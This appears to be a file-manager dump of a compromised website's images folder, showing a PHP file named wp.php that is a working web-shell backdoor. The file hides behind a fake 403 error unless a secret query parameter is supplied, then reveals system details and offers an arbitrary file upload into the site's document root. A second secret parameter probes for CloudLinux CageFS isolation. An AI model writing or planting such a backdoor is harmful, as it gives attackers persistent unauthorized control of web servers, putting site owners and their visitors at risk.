Current Path : /storage/v11800/affypharma/public_html/assets/images/ |
Linux v11800 5.3.0-1023-aws #25~18.04.1-Ubuntu SMP Fri Jun 5 15:19:18 UTC 2020 aarch64
|
Current File : /storage/v11800/affypharma/public_html/assets/images/wp.php |
<?php
error_reporting(0);
if(isset($_GET["Chitoge"])) {
echo "<h1><i>Chitoge kirisaki <3</i></h1><br>";
echo "<b><phpuname>".php_uname()."</phpuname></b><br>";
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST'];
echo "Sukses -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload di document root.";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "sukses upload <b>$files</b> di folder ini";
} else {
echo "gagal upload";
}
}
}
} elseif(isset($_GET["Kirisaki"])){
$homee = $_SERVER['DOCUMENT_ROOT'];
$cgfs = explode("/",$homee);
$build = '/'.$cgfs[1].'/'.$cgfs[2].'/.cagefs';
if(is_dir($build)) {
echo("CloudLinux => True");
} else {
echo("CloudLinux => False");
}
}else {
header('HTTP/1.1 403 Forbidden');
}
?>